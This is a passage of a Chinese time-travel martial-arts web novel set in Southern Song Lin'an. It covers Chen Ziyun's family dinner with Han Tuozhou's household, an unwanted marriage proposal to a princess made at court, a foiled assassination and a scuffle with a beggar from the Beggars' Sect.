钱掌柜死乞白赖的拉着陈子云在他的当铺后院里吃了一顿饭,珍馐美味绝不比陈子云在韩府里吃的差。 陈子云看了这个看着一脸谦卑和气的胖脸掌柜,意味莫名的摇摇头,是个人物啊。 等陈子云酒足饭饱的回到韩府,一进门就被一个丫鬟给拦下了。 “二爷,夫人正等着您一起用餐呢。” 陈子云有些不明所以,就算他不知道韩子云的过往,但不管放在哪个朝代,都没有长嫂等小叔子一起吃饭的道理。又不是潘金莲跟武松! 陈子云疑惑的跟着丫鬟来到了用餐的厅子,一张不大的八仙四方桌,几个盖着盖碗的盘盘碟碟放满了桌子。 韩夫人见陈子云来了,款款起身。 “二叔,老爷还在休息,我们就不等他了,我已经吩咐厨房将饭菜单独留了一份温着。” 陈子云略带着些犹豫的坐到了这本来属于韩子云的座位上。 倒不是因为刚才他其实已经吃了一顿,这点吃食对于陈子云来说根本不算什么。他只是不习惯,韩夫人这般的客气,这般的殷勤。 陈子云可以保证,就算是自己真的是韩子云,也绝对不会得到这位出身贵戚嫂嫂如此相待。 不是说陈子云一眼就看出了这位韩夫人的势利眼,而是没有必要。 不管是从礼教上还是情分上,她一个嫂子就没必要这么低身下气的侍奉小叔子。韩夫人现在之所以这样是因为感激他救了自己的丈夫,同时也是相当于挽救了他后半生凄惨的处境。 在这个时代,就算是理学还没有统治妇女,但是对于一个孀居的寡妇也总是少不了苛责的,更不用说什么再嫁。 “来,二叔,试试这道蒸鱼,我特意吩咐过的,知道你吃不得腥气,让他们好好的用老酒洗了好几遍。” 韩夫人殷勤的将一道已经有些冷了的蒸鱼堆到了陈子云的面前。 不要小看这一动作,这已经是这个时代的女性能做出的对于除自己丈夫之外的男性,表示最亲切的动作了。 至于说什么韩夫人应该自己亲自下厨以示诚意什么的,开玩笑,这位自小就出入宫廷的贵妇人,估计连厨房都没进去过几趟。 能够亲自吩咐厨房,已经是最大的关怀了。 “多谢......嫂嫂。” 陈子云似乎已经开始慢慢接受这样的安排了,相比于直接叫韩侂胄大哥,对于这位看着就让人感觉到温柔的嫂子更容易开口些。 “二叔何必这样客气,虽然前些年嫂子有些忽略了二叔,但怎么说都是一家人。我肚子又不争气,没能给你们韩家生下个一儿半女。” 韩夫人说着略微低下了头,不管在什么时候,不能生育对于一个女性来讲,不仅是自己的悲哀,更是对一个家族的愧疚。 “嫂嫂,不必如此,子嗣绵延一切当看天意,勉强不得。” 陈子云自然是安慰的话,可就算知道不孕不育是怎么回事的他,总不好再自己名义上的嫂嫂面前信口开河,说这也可能是韩侂胄的问题。 “不不,我这辈子是对不起你哥哥了。可韩家的传承也不能真的就此断绝了,所以我跟老爷商量了,要给你物色一位佳人。 一来是二叔也到了成家的年纪了,二来老爷经过这一遭也是希望能早日看到韩家开枝散叶。” 陈子云差点把刚拿起的筷子都砸地上了,怎么就开始给自己安排老婆了! 他此刻瞬间就有些后悔,自己救韩侂胄是不是错了,心想这老东西如果死了,是不是就不会这么多事了。 “嫂嫂......” “二叔,不碍的,你有什么要求经管提,不管是名门之后的大家闺秀,还是英武不凡的将门之女。 或者二叔已经有了相中的女子,只要身家清白,我们韩家也不一定要找什么权势人家的女儿,凭我们韩家如今的地位,也不差这些。 只要二叔不是找宫里的那些,嫂子都有把握给你说了来。” 韩夫人微微挺起胸膛,有些自得的说着。 “......” 陈子云能说什么,他来到这个世界大半的时间都在外面浪,这次要不是为救韩侂胄,他估计都不会回着临安,娶媳妇?什么事啊! “二叔,你不会是真的看上宫里的人物了吧。” 韩夫人见陈子云沉默着不说话,还以为被她不幸说中了。 “二叔啊,你?哎,二叔,虽然我也跟宫里有着说不清的关系,可正是因为如此,才知道这宫里的女人,实在是......哎。” 陈子云突然想到了一个主意,随即说道。 “不错,嫂嫂,以我的才学,以我韩家如今的地位,我岂不是应该娶个公主。不错,子云此生非公主不取。” 第一百四十章 韩侂胄的报复 “不错,夫人,子云说的不错。以我韩家如今的权势,取个公主也无不可。何况我家子云又有惊世之才,难道还配不上公主不成。” 韩侂胄的声音从内堂里传来。 “老爷,你好了?” 韩夫人见韩侂胄精神奕奕的从里面出来,神情欣喜万分。 陈子云却是被韩侂胄的话给噎住了。他本来就是想找个借口,搪塞一下自己这位心血来潮的嫂子。反正等过一阵子他找机会跑路就是了。 哪里知道韩侂胄突然出现,似乎要把陈子云这句随口胡诌的话给当真了。 可要陈子云在这个时候收回刚说出口的话,那也是不可能的,难道他不要面子的吗? “仔细数来,我们一家人已经许久没有坐在一起吃饭了。夫人,这些天也辛苦你了。” 韩侂胄眼神如沐的轻轻握了握韩夫人的手。 这让韩夫人即是羞怯,又是感动。 “子云,来,陪我喝一杯吧。” 韩侂胄举起酒壶朝着陈子云示意道。 “老爷,你大病初愈,这酒还是先别喝了吧。” 韩夫人在一旁劝解道。 “夫人放心,就喝这一杯。况且有子云在,这区区的一杯酒又能奈我韩节夫如何!” “你还是听嫂子的,我能救你的命一次,可不保证能救第二次。” 陈子云直接不给韩侂胄面子道。 “哎,子云,你又何必这样拆我的台。” 韩侂胄摇头叹息,可脸上却没有丝毫的尴尬。也对,一个在最不要脸的朝堂里都能混的风生水起的人物,怎会因为这种小事脸红。 “正好,有人送了些上好的果露来,说是难得的西域珍品,我给你们哥俩去拿。” 韩夫人直接起身离开了桌子。 韩侂胄缓缓的看着自己的夫人走进了内堂,才对着陈子云说道:“子云啊,你知道为什么就算是你嫂子一辈子都没给我生下一个子女,我也不曾纳妾吗?” “不能生孩子,可不一定是嫂子的问题。” 陈子云在心里暗自腹诽着。 “你还小,你不懂,女人不管再漂亮,他们终究会有老去的一天。只有真正的知冷知热,知情知趣的女人才是值得我们珍惜的。” 韩侂胄用一副过来人的语气对陈子云说教着。 这顿饭吃的很磨叽,主要原因自然是因为韩侂胄夫妇不停的在吃饭的间隙展现出的配合无间的男女混合双说教。 韩侂胄一边吃着津津有味,一边悠然自得的品评着朝廷上哪家哪家的优劣。韩夫人自然就顺带着介绍一些这些家庭里女儿,如何如何。 陈子云不由得回想起,以前回老家过年,在亲戚家吃饭时,第一个开场的话题总是围绕着几个已经到了结婚年龄却依旧没有对象的同龄人。 当然他也是逃不掉的,不过是因为还有其他的哥哥姐姐当着,对他的数落要稍微嘴下留情一些。 不过陈子云也感觉到了,这顿饭里除了这些哪个时代都不会改变的唠叨之外,也同时夹着这家庭的温情。 陈子云虽然不知道韩夫人知不知道自己的真实身世,但是韩侂胄这个完全没有血缘的大哥,现在展露出来的绝不是虚情。 等陈子云第二天出门的时候,临安城里就直接是门可罗雀了。宽大的街道上除了时不时经过的一队队匆匆来去的不知道是哪个衙门的官差,几乎看不到别的人影。 而当经过某家官差把门的大院时,里面传来的一些鸡飞狗跳,女人哭嚎的声音,让陈子云知道,这是韩侂胄的报复正是爆发了。 陈子云懒得去评价好坏,说什么韩侂胄是历史有名的奸臣,这些人一定就是被他栽赃陷害的。 这样幼稚的历史观,已经不适合他了。 每个时代都有每个时代的规则,公正公平那只是统治者给与卑微者的最廉价的愿景。 没有哪个个世界能做到绝对的公正,就算是号称最文明的国家,他们也依旧在前往法治公正的道路上艰难前行。 在如今这样的南宋的封建时代,对于陈子云这样来自现代的人来说,这里的所有制度几乎都是不合理的。 这当然是拿南宋的制度跟现代的制度比,可这样的对比毫无意义。 在一个以为权贵当家奴为荣的时代,就别拿出现代的人权法案来比较了,那不过是给自己找不自在。 所以陈子云不想管,也不会去管。就算真的知道这家人都是包拯转世,窦娥卖冤的,他也不会多看一眼。 既然进了这官场是非里,那就别想着只享受着功名利禄,自然也要考虑这被陷害栽赃的风险。 别告诉我,他们不知道,难道那些史书写的还不够详细?历朝历代被抄家灭祖的官吏还不够多?难道那些家庭里的老弱妇孺就是都是该死的? 再说了,这本来就是家天下的时代,换句话说就是君要臣死,你就得死,对错真的重要吗? 而且,能在这临安城的闹事街区置办这样的一个大院子的,要说他们屁股真干净,那估计黄河水都要清了。 不在其位不谋其政,这朝堂的是是非非就让韩侂胄折腾去吧。反正他这段时间就想好好缓解一下长时间旅行后带来的身心疲乏,等哪天玩心又起了,那就再出发。 可事不遂人愿,几天后的凌晨,最多不过是四五点,陈子云突然发现有人打开了他的房门。 “谁?” 陈子云立刻惊觉。 “哦,醒了,刚好,跟哥哥上朝去。上次朝会上管家特意嘱咐过,要见一见你的。” 韩侂胄的声音让陈子云放下了防备,可又同时不解,自己跟皇帝又没什么瓜葛,为何会突然召见自己。 陈子云透过黑暗盯着韩侂胄的脸,从他若有似无的笑意中明白,这哪里是宋宁宗找他,分明是韩侂胄故意要皇帝召见他的。 “不去。” 陈子云直接就缩回了杯子里,大冬天的天还没亮,哪里还会比自己温暖的被窝舒服。 “子云不可胡闹,虽然管家并未正式下旨,可也吧不是我们这些臣子能违背的。赶紧起来,你嫂嫂已经准备好了朝食,赶紧先垫垫肚子。” 韩侂胄已经让人点亮了陈子云房间了的灯烛。 第一百四十一章 上朝 陈子云眯着眼,有些不情愿的适应着突然到来的光明。可当他都过这些光亮看到房门外由韩夫人带着三个丫鬟正在门外等着的时候。 他就知道,韩侂胄是把他给算死了,料定他不会在这些人面前还做出赖床的小孩行径。 “狗奸相!” 陈子云利索的穿好自己的衣服的同时心里咒骂了一句。 可回应陈子云的却是韩侂胄那奸计得逞的自得笑容。 “子云稍等,今天上朝就不能穿的这么随意了,你嫂嫂已经给你准备好了衣服。” 韩侂胄话音刚落,韩夫人就带着三个丫鬟从门外进来了。 一个端着朝食的丫鬟先把手上的托盘放在桌上,然后就帮着另外两个丫鬟把那两件同样盛放在托盘上的锦衣展开了。 大红色的底子,陈子云看这光泽就知道一定是用上好的丝绸制作而成了。而上面那些复杂的花纹,这简直跟结婚时的喜服也没什么差别了吧。 没办法,宋朝就是个崇尚火德的朝代,喜欢穿红衣是这里人的习俗。 因为是冬衣,所以这华丽的跟孔雀羽毛一样的高端服装,里面还有毛皮的内里,不但保暖而且分量十足。 要不是陈子云体力非常人可比,一般人穿着这两件衣服出门,估计走不到几里路就得停下来歇歇。 不过当韩夫人眼里闪着光一般的上下打量陈子云,那三个丫鬟甚至局促的不敢正视他的时候,他也知道,这两件衣装确实给他的外形加分不少。 “好好好,要是给子云再披上一件雁翎甲,怕是能羞煞那些当朝的莽汉武将。谁说咱们韩家,就不能出个真英雄,我看子云不输子龙。” 韩侂胄不知道是给陈子云贴金,还是在夸他自己,一脸的幸与荣焉的摸样。 临安城的街上还是一片黑暗,一个个的火把,一盏盏的灯笼从城池的不同方位亮起。 或大或小,或明或暗,这些闪着光亮的,在夜色里如萤火虫的光明纷纷向皇城的方向汇聚。 韩侂胄的府宅本来就离皇城不远,所以也没有乘坐马车,带着几个担当护卫的家丁在大街上走着。 这也是因为韩侂胄上次的遭遇,让他在出门的时候总多了几分小心。 可以陈子云看来,凭借这些三流货色,最多就是让韩侂胄晚死一会儿。也许这也是后面韩侂胄被杨皇后和史弥远设计劫持至玉津园杀死的原因之一吧。 “你该提升一下你的安防了,招募一些江湖人物对你来说应该是简单的吧。” “江湖草莽,怎么能登大雅之堂!” 韩侂胄随意的回复了一句。 陈子云皱了皱眉头。 “你难道就不怕有人再故技重施,按照我的观察,你的伤势可不是一般的刺客能造成的。” “那就更不行了,这些人不就是因为坏了朝堂的规矩,才被我捉着首尾收拾了吗,老夫又怎么会愚蠢到明知故犯?” 韩侂胄还是不以为然。 “况且,子云你不过是出去了一年半载,就有了如此神奇的本事,我还担心什么。” 原来这老小子不是不怕,而是把自己当现成的保镖了。 “我不会永远待在你身边的。” 陈子云当然不能让韩侂胄抱着如此的幻想。 “呵呵,不急不急。” 韩侂胄露出了一个老奸巨猾的微笑,似乎在告诉陈子云,世事难料,他吃定他了。 陈子云甩了甩衣袖,没有再理会这个自作多情的半老东西。 众多的火把都在皇城门口集结,不过显然这里可不讲究先到先进。那些品级低的明显到的比高级别的早,可他们只能先在皇城门口的寒风里等着。 等韩侂胄这样的大员到了,皇城才会统一开门。按照朝堂的等级制度依次往里走,这里把阶级两个字体现的淋漓尽致。 至于陈子云吗,他来的时候是跟在韩侂胄身边的,进去的时候却要分道了。 他并不是上朝的官员,甚至连个品级都没有,只是被皇帝召见的人。官员们要去的事垂拱殿,而他只能先去偏殿等着。 等朝堂上要紧的事情商议好了,他才有机会被皇帝召见。 不过还好,宋朝对于这些士大夫的态度还是很友好的,有宋一朝的皇帝都有与士大夫共治天下的习惯。 据说宋朝的祖宗们还立过一个祖宗法碑,其中一条就是写着不准杀士大夫。 可见宋朝对士大夫的优待,要是放在明朝估计这当朝的衮衮诸公没一个能逃过朱元璋的剥皮藏草之刑的。 陈子云被宫里的内侍带到了一个还算宽敞的小楼里,里面已经有人在等着了。不过看对方那忐忑不安的眼神,就知道这位怕是有难了。 要知道这次韩侂胄虽然没说,但陈子云也猜到了,应该就是他的报复动作的收官之作了。 这朝堂上该被清算的人到现在基本都已经清算了,剩下的不过就是几个主脑人物了。 陈子云就这么默默的等了小一个钟头,终于有内侍来领他了。 一路上这位年轻的内侍都在嘱咐着陈子云,朝堂上有哪些忌讳,哪些事情是万万不能做的。 陈子云点点头,其实心里并不怎么在意。他竟然能猜到韩侂胄要在今天收官,那自然也能想到,南宋以后这朝堂起码有十年的时间是由韩侂胄做主的。 那他自然也不会因为这些鸡毛蒜皮的事情,就倒霉什么的,所以放心大胆就行了。 何况,这南宋的朝廷,所谓的皇城难道还真的能拦得住他?连黄老邪的徒弟都能来去自由,何况是他。 百官的队伍从垂拱殿一直往外延伸,那些级别够的自然是在殿里待着,而这些级别不够的就只能在殿外候着。 陈子云突然觉得这些人可比他惨,自己起码还是在偏殿,在这寒冬腊月里还有个遮风的地方。 这些人除了把手缩进自己的衣袖里还不能被人看出来,免得被举报朝会举止不端。 陈子云在内侍的引领下入了殿堂,第一个找到的是站在右侧队伍前面的韩侂胄,看到对方朝着自己笑笑,这是在安慰他别紧张呢。 第一百四十二章 当朝求亲 “好一个英俊人物,韩卿,不曾想你府里还藏着如此人物,为何不让他早早出仕。” 陈子云刚刚在内侍的提示下抬手对着坐在台上的宋宁宗拜了一拜,就见皇帝表现的十分亲近的朝着韩侂胄跟自己说道。 “陛下,内弟顽劣,当不得如此夸赞。” 韩侂胄跟宋宁宗客气着,脸上却是谦卑的笑着。 “韩卿可不要以为朕在深宫之内就什么也听不到。早就听说韩家二子,千里奔袭救大兄的义举。 二十四孝怕是又能多一章喽。” 宋宁宗夸张的笑着,显示出宋朝的君王也臣子之间独有的亲昵。朝臣也开始附和,还不忘朝着陈子云投来认可赞叹的目光。 韩侂胄倒是欣然领受,就是陈子云听着有些反胃。 “陛下过奖了,臣下这个二弟不仅不学无术,还喜欢舞刀弄剑。更是大言不惭的说,这天下间只有公主才配得上他,简直是不知天高地厚。” 这下子不仅是陈子云错愕不已,就是朝廷上的众臣也齐刷刷的静音了。 韩侂胄这是直接在朝会上就跟官家提亲了啊,古往今来可没有这样的先例。 宋宁宗也是一愣,然后神色严肃的打量了一眼韩侂胄,见对方没有说笑的意思,才把目光停在了陈子云身上。 陈子云感觉宋宁宗的目光先是厌恶,就像是被抢了小棉袄的老父亲的提防。可随即缓缓变的柔和,等看的仔细了,尽然露出几分欣赏之意。 “好好好,好一个人中龙凤。不过韩卿,你也知道,朕大女早夭,如今就顺安一个宝贝,却又自幼体弱。皇后平时看护的紧,连人都不大见过。 顺安的婚事,还是要皇后首肯才是。” 宋宁宗竟然就真的有答应的意思,之所以推说要问皇后,不过是稍稍延后之意。 “自然一切皆由陛下与娘娘做主。” 韩侂胄识相的回答道。 好吗,陈子云连话都没说一句,就把他的婚事给定了。可除非陈子云想当场让韩侂胄下不来台,他就只能先忍着。 “韩侂胄,你来真的!” 陈子云前脚刚出垂拱殿,就一把拉住了韩侂胄,语气愤然的说道。 “无礼,什么真的假的,陛下都答应了,天子口中怎有戏言。” 韩侂胄低声喝道,表情更是郑重的很。 “你怎么能擅自做主,擅自给我惹这事。顺安公主这时候也就十四五岁,你知不知你这是在犯罪。” “什么混账话,要娶公主是你自己说的?我这个做兄长的,冒着大不韪在朝堂上向官家求亲,你不感恩戴德,却埋怨起来。 哎,真是儿大不由兄了。” 韩侂胄一副痛心疾首的摸样,气得陈子云想一掌毙了他,因为他找不到反驳的地方了。 在这个时代,十几岁结婚的女孩子比比皆是,何况根据皇家的结婚排场,就算订下婚事也起码要用个几年的时间来准备公主的出嫁。 可陈子云作为一个实际年龄比宋宁宗还要大的现代人,让他去娶宁宗的女儿,这种罪恶感简直了...... “不行,说什么我也不会娶这位顺安公主的。” 陈子云索性就耍无赖了,直接丢下韩侂胄自己就先回家了。 陈子云心烦意乱的走在刚开始热闹起来的临安大街上,心里琢磨着要不直接跑路算了。 反正以现在韩侂胄的权势,皇帝也不至于为了这种事情难为他。 “杀人了,杀人了。” 陈子云听到这声呼喊,像是也受了惊吓,立刻回头朝着皇城的方向望去。 不知怎么的脑海里闪过的就是韩侂胄那天在床上奄奄一息的场景。 “该死。” 陈子云瞬间跳上附近的房屋楼顶,朝着皇城方向飞跃而去。 等在那堆慌乱的人群中找到一脸惊恐的韩侂胄时,陈子云舒了一口气。 “没死就行。” 不过显然韩侂胄此时的状况并不怎么好,一脸狼狈似乎还受了些伤。而且他的脚下已经倒下了几个人,应该是他带来的那几个护卫,倒是够尽忠的。 不过可惜,就像陈子云说的,这些三流货色就算再怎么拼命也就能拖一段时间,面对真正的高手是没什么用的。 而现在那个正在大杀四方的刺客,大冬天里竟然只穿着一件单薄的棉布劲装。 那随着拳脚招式显露出来的衣服底下的身体好似铁铸铜浇的一般坚韧。一道道狠厉的掌风,把那些已经难以为继的护卫打得死伤惨重。 要不是有其他的同行官员的护卫一起帮忙,说不定韩侂胄就等不到陈子云赶来了。 不过那个单衣刺客此时也察觉到了自己的不妥,虽然南宋的武备确实糜烂,但是在这京城要地,总归是有些能拿得出手的禁军的。 要是时间一久,他再想走就难了。 只见得,那单衣刺客一招迫使围着自己的护卫散开,同时双脚在地上一蹬,整个人竟然就窜起一丈有余。 随即在几个悍不畏死的护卫身上一踩,在踏的这人筋断骨折的同时,一个借力就往韩侂胄的所在位置冲了过去。 “奸贼,拿命来。” 声音洪亮狠厉。 韩侂胄看着这个单衣莽汉像一匹脱笼的恶虎一样扑向自己,顿时被吓的连连后退。 他早就习惯了在朝堂上手握大权、搅动风雨,对于这样匹夫的争斗却是一时无所适从。上一次的受伤,他甚至都不清楚对方是怎么伤的他。 而这次他却是亲眼看到了,可这样的阵仗,让他这个速来以稳重着称的权臣也惊慌失措了。 生死之间有大恐怖,生于心,显于身。韩侂胄只觉得浑身被一股冰凉彻底的寒意给浸透了,似乎这世间的一切都被这一股寒意冻结。 难道这是到黄泉了,据说阴间就是这般的寒冷。 韩侂胄似乎都打算认命了,直到一道破空而来的红光,就像是初升的朝阳一般,虽然微弱,却瞬间瓦解了所有的阴霾。 “一朝尘尽光生,照破山河万朵。” 这就是韩侂胄此时的真实心境。 “啊!” 这是那个单衣刺客的惊叫。 一把水晶一般半透明的红色小刀正插在他刚才打向韩侂胄的那一只手掌上。 那看着比铁还坚硬,同时拍碎了不知多少个胸膛和腿骨的神奇手掌,就这么被这一把看起来并不怎么锋利的小刀给洞穿了。 第一百四十五章 乞丐与商贩 没过多久,宋宁宗就派人来慰问韩侂胄了。 不过接待宫廷派遣的这种事情,韩夫人是不会参与的,所以她也就不会知道,自己的丈夫刚刚经历了一场生死。 送走了内侍之后,韩侂胄抬头看着当空的艳阳,临安城里的风雨该收敛了,可那个敢来刺杀自己的家伙,自己是绝对不会放过的。 ...... 几天后的一个午后,陈子云终于又有重新逛逛这临安城的心思。自从赵汝愚被贬为宁远军节度副使,出了这南宋都城之后。 朝廷里经过这些天的调整,终于算是基本的平息下来了。 至于那次当街刺杀韩侂胄是不是赵汝愚安排的,因为不甘心失败而孤注一掷的报复,也没有人再理会了。 因为所有车朝臣都知道,不管是不是赵汝愚安排的,这个锅他都背定了。 而这些天以来,陈子云明显的发现着临安城里明里暗里的防备力量都大大的加强了。 刚出韩府的大门,就有几道陌生的目光在他身上打量,不用看也知道是藏在暗处的各个衙门的暗探。 陈子云当然不是担心有人会对自己不利,不管是现在自己的武力,还是韩侂胄如今的权势。在这临安城里,就是皇帝老子想动他也得三思。 临安城也终于迎来了他往日的风光,昨天刚下的一场小雪,也丰富了人们纷纷出门上街,或者去那不远的西湖赏雪的愿望。 不过陈子云却没有这种兴趣,因为这个时代再美的西湖,也绝对没有他在现代看过的那些经过处理加工的宣传片出彩。 不要说那些东西都是假的,不如现在的山水真实。 美的概念,本来就是虚幻的东西,既然绘画和雕塑都能凭空创造美的价值,那为什么视频就不行呢。 美,是不论真假的,只要他存在,哪怕他底子里就是一块煤炭,只要有技术把他变成白雪,那当人看到的是时候,就是在欣赏雪景的美丽。 何必要把那些注定辩论千年也弄不清楚的概念,强行加在自己的审美观里。 况且,这个时代的西湖,下雪之后可不止有美景,还有那因为雪天而变的泥泞的道路。 现在的西湖可不是那种杭州条条马路通西湖,现在的西湖美的自然,同时也脏乱差的自然。 不说驴行马走,在这个没有公共厕所的时代,在路上不管看到什么东西都是正常不过的事情。 所以,相比于西湖这种太靠近人们生活区域的风景,陈子云更加喜欢那种在深山老林人迹罕至地方的。 那才是真正的纯天然,一个人独自沉浸的享受一方天地的美妙,没有亲身体验过的人是不会明白的。 陈子云悠然的在临安的街上逛着,而他如今穿着的也不再是他自己的那些比较随意的服饰。 自从有了那两套韩夫人准备的丝绸锦袍之后,陈子云也渐渐的接受了这样的穿着。 所以现在的他不管在那个店门口停留,或者在哪个小摊上驻足,吸引来的不仅仅是老板跑堂的目光。 但凡看到陈子云的那些人,总会在百忙之中有意无意的瞥他一眼,或者两眼、三眼。 那些胆子大一些的,提着竹篮出来买菜的中年妇人,盯着陈子云看的目光简直就是赤裸裸的想将他连皮带骨吞下去一般。 宋朝的这个时候,对于妇人的要求不那么严厉,或者是说还保留的着唐朝时那种开放风气是最后的余韵。 就在陈子云正打算从一个小摊贩上挑选一把小紫砂壶的时候,突然感觉有人从后面迅速的靠近自己。 随之而来的是一股如同厨房里盛放馊水桶那个角落里散发出来的浓重臭味。 陈子云本能的往旁边旁边一闪,在对方彻底扑过来之前让出了半个身位。 “哎呦!” 只见一个浑身黑不溜秋的人形一把就扑在小摊上。 “啊,我的壶。你.......你这是做什么,你陪我的壶。” 小摊贩老板也不嫌脏,直接一把就抓住那只不知道沉积了多少泥垢已经变的完全看不出本来肤色的手。或者说爪子更合适些,活脱脱就是一只刚从污泥里拔出来的鸡爪子。 “放开,快放开我。” 那个浑身破烂棉袄的一眼就能看出是要饭佬的家伙挣扎的,想从小摊贩手中逃脱。 那一条条像黑了的长豆条一样挂下来的,满是虱子的肮脏头发一甩一甩的,逼的陈子云不由得由又往旁边了几步。 要是被这东西沾上了,估计自己这套华贵的衣服就不用再穿了。 “你再不放开,我可打你了。” 这乞丐说着就举起了即使摔倒了也没丢下的,一根已经包了浆的半长竹条,眼神恶狠狠的看向商贩。 那商贩被这乞丐一吓,下意识的手里就失去了几分力气。乞丐趁此机会手上一用力,就脱离了商贩的抓握。 商贩这下也反应过来了,身体往前一倾,还想重新抓住那只不小心放开的脏手。 可那手就像是一条灵活的泥鳅似的,一碰到就又滑开了。 “嘿嘿,想抓小爷,你还早着呢。喝......呸” 一口浓痰直接射向商贩,商贩连忙躲开。 “你!你别走,你把我的壶都压碎了,你要陪。” 商贩指着乞丐神情激动的说道。 “嘿,笑话。你看小爷是像个有钱的吗?” 乞丐把盖在额前的脏头发条撩开,意思是让商贩好看清自己。不过那基本被污泥覆盖了五官,实在是恶心人的很。 “那我的壶怎么办?你的家人呢?你让你的家人来陪我。” 这商贩也是一时急昏了头脑,要是这乞丐还有亲人管,何至于是这幅摸样。 “嘿嘿,小爷我是一人吃饱全家不饿。乞丐我走天下,吃人家的睡人家,身无分文,却是天生地养活。 你这小贩啊,今天自认倒霉吧。你要是要我赔,那我可就只能把身上这一身老泥赔你了。” 乞丐的神奇倨傲,一点都没有因为自己打碎这些茶壶而愧疚的意思。反而像是吃定了这小商贩拿他没办法似的。 “这.....这哪里还有天理啊。” 小商贩已经委屈的快哭了。 第一百四十六章 丐帮 “怎么样,这上好的成年老泥你要不要,要就说句话,小爷当场脱衣服,给你搓出来。你要是不要,嘿嘿,那小爷我可就走了。” 乞丐此时已经完全掌握了局面,对于经过的路人的指指点点也是全然不在意。 “嘿嘿嘿。” 乞丐意味莫名的扫了一圈周围的人,在眼神瞟过陈子云的时候,却不知为何停顿的片刻。 “让开,让开,小爷我要走了。好狗不挡道,挡道的就打了吃破罐炖狗肉。” 乞丐说着,身体晃晃悠悠的就往外走,而朝的方向竟然就是陈子云站着的地方。 陈子云厌恶的皱着眉头不得已再次往旁边避让了一步,甚至已经暂时屏住了呼吸,那扑面而来的腥臭味实在是折磨人。 可那乞丐走着走着,突然一声哎呦,只见他左脚不知道怎么就踩在了自己的右脚上,直接一个扑棱就往陈子云这边摔过来。 “咦,呀。” 周围的人群都发出了惊恐又带着些厌恶的惊呼。有几个靠的近的,连忙往后一跳。 可这乞丐像是装了导航似的,直直朝着陈子云扑过来,而且他的那两只脏手还在空中乱舞着。 陈子云眼睛一眯,别人可能看不出来,可他却是在对方的手掌起落之间看出了一种熟悉的门道,这恶心人的家伙竟然练过手上功夫。 虽然这只手实在是肮脏不堪,可仔细看就发现,这乞丐的左手的几根手指都异常的纤细灵活,这是一个擅长灵巧功夫的特征。 至于陈子云是怎么知道的,那你以为他那二十四节气惊神指练的是什么! 这小子明显是冲着他来的,此时陈子云哪里还不知道,就是刚才自己在挑选茶壶的时候,对方的突然靠近自己,接着摔倒也是冲他来的。这小商贩只是被殃及池鱼了。 陈子云第一个怀疑到的就是赵汝愚残余势力的报复,可随即他就否定了。这乞丐偷鸡摸狗估计有一手,可那混乱的呼吸早就暴露了他并不会内功的事实。 让这样一个家伙来对付自己,除非那些人是把自己的脑花当饭吃了。 那这家伙到底是什么来路?嘿,管你什么来路,拿下再说。 可就当陈子云打定主意要先教训一番这个乞丐的时候,突然发现自己竟然无法出手。 不是不能,而是心里的抗拒,因为对方实在是太脏了。脏的陈子云连觉得用指劲打对方,都担心那因为冲击而从对方身上溅射出来的肮脏玩意会污染了他。 陈子云只好恼怒的再次往后面一让,他从来没有这么憋屈过,就算是面对东方不败,面对少林三渡也不曾。 可那乞丐明显不想就在这么放过陈子云,双手胡乱舞着,径直往他身上扑来。已然连那摔倒的伪装也不顾了,这家伙是要明抢了。 “嘿,乞丐,洪七公吗,好个丐帮啊!” 陈子云突然心思里闪现了过一丝深深的厌恶,对乞丐,对丐帮,还有对那位义薄云天的九指神丐。 陈子云眼角往小摊上一撇,手随心动。直接捉住一块露出桌角外的布头,轻轻一抽,整张布就如丝绸一般顺滑的离开了桌面,而那些本来放在上面的茶壶竟然纹丝未动。 周围的众人正要发出惊叹,陈子云已经将棉布直接罩向那个扑过来的乞丐。 “啊呀,我看不见了。” 那乞丐慌忙的扯着这张把他瘦小的身体完全盖住的大布,此时的他就像是一个西方的那种套着白布的幽灵。 “哼。” 陈子云冷哼一声,直接弹出三指,透过这层棉布的指劲点在对方的三个大穴之上。 “啊,我怎么动不了了。救命啊,救命。” 乞丐的叫唤声尖锐刺耳,就像是冬天的乌鸦发出的凄厉惨嚎。 可周围的人非但没有上去救助的意思,还纷纷有些看热闹的喜色。 乞丐倒下了,唯一能动的头颅将盖着他的棉布给一点点的拱开,露出那个最污秽的面目。 “各位,大哥大姐,老爷奶奶,赶紧把我送医馆吧,我害大病了啊。” 乞丐似乎突然就从从刚才的嚣张神态变的可怜兮兮了,想来这就是他平时的讨生活的把戏了。 可周围的人只是指点了几下,就是有人要出来,也被旁边的人给拉了回去。 “钱,我有钱的,只要你们送我去,或者请个大夫来,我就给钱你们。” 乞丐见哀求无用,又用上了收买的套路。 有几个看着比较寒酸的看客,似乎有些动心了。可看着乞丐那摸样又怀疑对方是不是真的能拿出钱来,或者这钱有多少。 陈子云不耐烦的朝着一个方向招招手,有个担着柴火的樵夫打扮的青年犹豫的看了陈子云一眼,最后咬咬牙走了过来。 “韩二爷。” 樵夫放下柴禾,恭敬的向陈子云行礼。 “你不用告诉我你是谁,我也不打听。这家伙好像是冲着我来的,你想办法问问他的来路,有结果了来韩府告诉我一声。” 陈子云指指地上的乞丐道。 樵夫眼睛一亮,似乎是听到了什么大喜事似的,神情兴奋的应道。 “是,小的明白。谢韩二爷。” 怪了,明明是陈子云要他帮忙,对方却还主动谢谢他。 不过陈子云知道,对方可能是跟他一开始猜想的一样,认为眼前这个乞丐可能就是与上次刺杀韩侂胄一伙的同党。 这要是真的,或者有人能把这件事做成真的。那他这个不知道哪个衙门的暗探怎么的也要往上升个一两级吧。 要是能在如今权势最盛的韩侂胄面前露个脸,那还不是...... 樵夫抓了一把自己的脸,瞬间收敛了心中的杂念。他把扁担下面用来捆绑柴禾的麻绳解开,也不嫌弃这乞丐的肮脏,三下两下就把人捆住了。 “你干什么,你个王八犊子,你捆住我做什么。你知道我是谁吗,我可是丐帮的弟子。 你是哪路的野种,敢得罪我们丐帮,活腻歪了吗!” 乞丐开始用自己唯一能灵活运用的嘴巴疯狂的嚎叫着。 “啊,杀人了,杀人了,官家老爷救命啊。” 第一百四十七章 皇后相招 原来乞丐是看到有几个穿着制服的衙役过来了。这些原本他最厌恶的狗官,如今却成了他脱离被人捆绑的救命稻草。 可惜这些人显然不是朝他来的,那几个穿着制服的官差先是向陈子云行了个礼,然后就过来帮樵夫了。 显然他们之间是相互认识的,或者说本来就是一个衙门里的。只不过樵夫负责暗处,他们负责明处。 “啊......啊.......官爷杀人了,狗官草菅人命啊。” 乞丐也看明白了情况,先是一愣,随即疯狂的大喊,可惜只喊了两声就被一团麻绳给塞住了嘴,只剩下呜呜了。 